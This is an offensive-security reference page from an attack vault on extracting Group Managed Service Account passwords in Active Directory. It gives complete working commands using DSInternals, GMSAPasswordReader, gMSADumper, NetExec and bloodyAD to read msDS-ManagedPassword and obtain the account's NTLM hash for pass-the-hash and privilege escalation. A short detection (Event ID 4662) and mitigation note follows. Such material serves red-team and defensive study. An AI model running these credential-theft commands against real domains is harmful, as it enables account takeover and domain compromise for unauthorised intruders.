title: "Attack #73 β gMSA Password Extraction" description: "Group Managed Service Accounts (gMSAs) have their passwords automatically managed by AD and stored in the msDS-ManagedPassword attribute. Principalsβ¦" category: active-directory subcategory: "Advanced & Post-Exploitation" tags: ["active-directory", "credential-access", "ntlm", "privilege-escalation", "hashing"] tools: ["NetExec", "PowerShell"] difficulty: advanced updated: "2026-08-10" source: "vault:ActiveDirectory/AD-Attack/Category-Ten/π· Attack #73 β gMSA Password Extraction.md"#
π· Attack #73 β gMSA Password Extraction#
π How It Works#
Group Managed Service Accounts (gMSAs) have their passwords automatically managed by AD and stored in the msDS-ManagedPassword attribute. Principals authorized to retrieve this password (defined in msDS-GroupMSAMembership) can extract the NTLM hash of the gMSA. If a gMSA has privileged access (e.g., DA-equivalent or DCSync rights), extracting its hash = domain compromise.
βοΈ Prerequisites#
| Requirement | Detail |
|---|---|
| Authorized to retrieve gMSA password | Listed in msDS-GroupMSAMembership |
| Or compromise of an authorized server | Servers hosting services running as gMSA |
π» Full Commands#
# ββ Find gMSAs ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Get-ADServiceAccount -Filter * -Properties PrincipalsAllowedToRetrieveManagedPassword
# ββ Check who can read gMSA password ββββββββββββββββββββββββββββββββββββββββββ
Get-ADServiceAccount svc_gmsa -Properties PrincipalsAllowedToRetrieveManagedPassword |
Select PrincipalsAllowedToRetrieveManagedPassword
# ββ Read gMSA password (if authorized) ββββββββββββββββββββββββββββββββββββββββ
# DSInternals:
Install-Module DSInternals -Force
$gmsa = Get-ADServiceAccount svc_gmsa -Properties msDS-ManagedPassword
(ConvertFrom-ADManagedPasswordBlob $gmsa.'msDS-ManagedPassword').SecureCurrentPassword
# ββ GMSAPasswordReader (tool) βββββββββββββββββββββββββββββββββββββββββββββββββ
.\GMSAPasswordReader.exe --AccountName svc_gmsa
# ββ gMSADumper (Linux) ββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
python3 gMSADumper.py -u low_user -p 'Password1' -d corp.local -l DC01.corp.local
# ββ NetExec βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
nxc ldap DC01.corp.local -u low_user -p 'Password1' --gmsa
# ββ bloodyAD ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
bloodyAD -d corp.local -u low_user -p 'Password1' --host DC01.corp.local \
get object 'svc_gmsa$' --attr msDS-ManagedPassword
π‘οΈ Detection β Event IDs#
| Event ID | Source | What to Look For |
|---|---|---|
| 4662 | Security Log (DC) | Read access to msDS-ManagedPassword attribute |
π Attack Chain Context#
[gMSA] βββ Extract managed password hash β impersonate service account
β
ββββ π gMSA may have DA-equivalent rights or DCSync permissions
ββββ π PtH with gMSA hash β lateral movement / privilege escalation
ββββ π Defeated by: restrict gMSA password retrieval delegation
β Attack #73 β gMSA Password Extraction complete.